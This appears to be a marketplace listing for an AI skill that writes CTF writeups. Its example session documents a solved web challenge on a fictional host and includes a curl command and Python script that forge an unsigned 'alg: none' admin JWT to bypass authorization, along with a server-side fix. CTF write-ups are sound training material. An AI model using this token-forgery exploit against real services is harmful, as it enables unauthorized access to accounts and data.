- Home
- Skills
- Writing & Content
- CTF Writeup Generator
Works with the AI Agents you already use
CTF Writeup Generator
Turning that into something your team, your blog or a recruiter can follow is an hour of work per challenge, so most solves never get documented.
$5
/moSubscription · cancel anytime
Secure checkout via Stripe
- Always the latest version
- Delivered live to your agent via MCP
- Cancel anytime, access ends at period end
CTF Writeup Generator
Example session with this skill installed
Write up this web challenge from my notes. Event is over, so the flag can be shown.
Cookie Jar (HarborCTF 2026, web, 200 pts)
Desc: "Only the admin gets the secret recipe." http://cookiejar.harborctf.example:8080
notes:
- login guest:guest works, sets cookie
session - cookie looks like jwt, decoded header {"alg":"HS256","typ":"JWT"} payload {"user":"guest","role":"user"}
- /recipe says "admins only" 403
- tried hashcat rockyou on the secret, 20 min, nothing
- changed alg to none, role admin, empty sig -> WORKED
- curl -s http://cookiejar.harborctf.example:8080/recipe -H "Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ." <h1>Secret recipe</h1><p>harbor{n0n3_0f_y0ur_b1zn3ss}</p>
- Read your context and instructions
- Compiled the ctf writeup generator
- Generated the UI component
Saved to writeups/harborctf-2026/cookie-jar.md.
Summary: the session cookie is a JWT, the server accepts alg: none, and a forged unsigned token with role: admin unlocks /recipe.
Cookie Jar — HarborCTF 2026
| Category | Web |
| Points | 200 |
| Tools | curl, Python, hashcat |
TL;DR
The app stores the user's role in a JWT session cookie and accepts tokens with alg set to none. I forged an unsigned token with role: admin and read the flag from /recipe.
Challenge
Only the admin gets the secret recipe.
Host: http://cookiejar.harborctf.example:8080
Recon
Logging in as guest:guest worked and set a cookie named session. Its three dot-separated base64 parts are the shape of a JSON Web Token, so I decoded the first two:
{"alg": "HS256", "typ": "JWT"}
{"user": "guest", "role": "user"}
The role lives inside the token, on the client side. Requesting /recipe as guest returned 403 with "admins only", so the goal was a token saying role: admin that the server would still accept.
Finding the weakness
A JWT is only trustworthy if the server verifies its signature. Some libraries honor the none algorithm, which means "this token is unsigned", when the application does not pin the expected algorithm. If that is the case here, the signature can simply be dropped.
What didn't work
I first tried cracking the HS256 secret with hashcat and rockyou.txt. After 20 minutes there was no hit, so the secret is not a common password.
Exploitation
- Set the header to
{"alg":"none","typ":"JWT"}. - Set the payload to
{"user":"guest","role":"admin"}. - Base64url-encode both without padding, join them with a dot, and leave the signature empty. The trailing dot must stay.
- Send the forged token:
curl -s http://cookiejar.harborctf.example:8080/recipe \
-H "Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ."
<h1>Secret recipe</h1><p>harbor{n0n3_0f_y0ur_b1zn3ss}</p>
Final script
#!/usr/bin/env python3
"""Cookie Jar (HarborCTF 2026): forge an unsigned admin JWT."""
import base64
import json
import urllib.request
URL = "http://cookiejar.harborctf.example:8080/recipe"
def b64url(obj: dict) -> str:
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "guest", "role": "admin"}
token = f"{b64url(header)}.{b64url(payload)}." # empty signature
req = urllib.request.Request(URL, headers={"Cookie": f"session={token}"})
print(urllib.request.urlopen(req).read().decode())
Flag
harbor{n0n3_0f_y0ur_b1zn3ss}
Takeaways
- Decode any cookie that looks like a JWT before doing anything else. Authorization data stored client-side is a target.
- Try the cheap attacks (
alg: none, algorithm confusion) before spending time on cracking the secret.
Fix: pin the accepted algorithm on the server (for example algorithms=["HS256"]) and reject unsigned tokens. Better still, look the role up server-side instead of trusting the token.
Gaps and notes
- No TODOs: every step in the writeup is backed by your notes.
- Your notes had no script, so the final script is one I wrote from your manual steps. Run it once to confirm before publishing.
- Nothing redacted: you confirmed the event is over.
Next steps
- Add your handle as author and a screenshot of the 403 if you have one
- Ask for the short version to post in your team channel
ctf-writeup-generator.tsx
TSX · React component
Example file from a real run - the skill writes it into your workspace.
Subscription · always the latest version
- Secure checkout via Stripe
- Cancel anytime
- Delivered live via MCP
About this skill
You solved the challenge. Writing it up takes longer than the solve.
After a CTF you are left with a terminal scrollback, a half-commented solve.py and notes only you can read. Turning that into something your team, your blog or a recruiter can follow is an hour of work per challenge, so most solves never get documented.
CTF Writeup Generator does that hour for you. Give your agent the raw material and it returns a structured, reproducible writeup in Markdown.
What you get
- A complete writeup: metadata table, TL;DR, challenge description, recon, the key insight, numbered exploitation steps, final script, flag and takeaways
- Reasoning, not a command dump: every command gets a line on why it was run and what the output revealed
- Clean evidence: trimmed output, no ANSI codes or banners, labelled copy-pasteable code blocks
- One working script: your messy exploit, cleaned and commented without changing its logic
- Category-aware detail:
checksecand offsets for pwn, parameters and math for crypto, requests and payloads for web, artifact trails for forensics
Built to be trusted
- Never invents steps. If your notes skip something, the writeup gets a visible
TODOand you get a list of gaps. No made-up offsets, outputs or flags. - Flags redacted for live events, so you don't break competition rules by accident.
- Scrubs leaks: tokens, VPN IPs and home directory paths are replaced with placeholders.
Modes
| Mode | Use it for |
|---|---|
| Full | Blog posts, team wikis, portfolios |
| Short | Discord, team channels, social posts |
| Beginner | Teaching, club workshops, onboarding new players |
| Batch | A whole event: one file per challenge plus an index |
| Translation | The same writeup in a second language, commands untouched |
Who it is for
CTF players and teams, university security clubs, HackTheBox and TryHackMe learners building a portfolio, and instructors who turn solved labs into course material.
What it does not do
It documents challenges you have already solved. It does not solve them for you.
Requires existing notes or logs. Does not solve challenges or find vulnerabilities. Redacts flags for active events to prevent cheating.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before any payment.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Free forever
No account required to browse
Trust & safety
Security scan
Security scan passed 6 days ago
Permissions
Reads the notes, logs and scripts you point it to, and writes the finished writeup to writeups/. No network access, no shell commands, no accounts.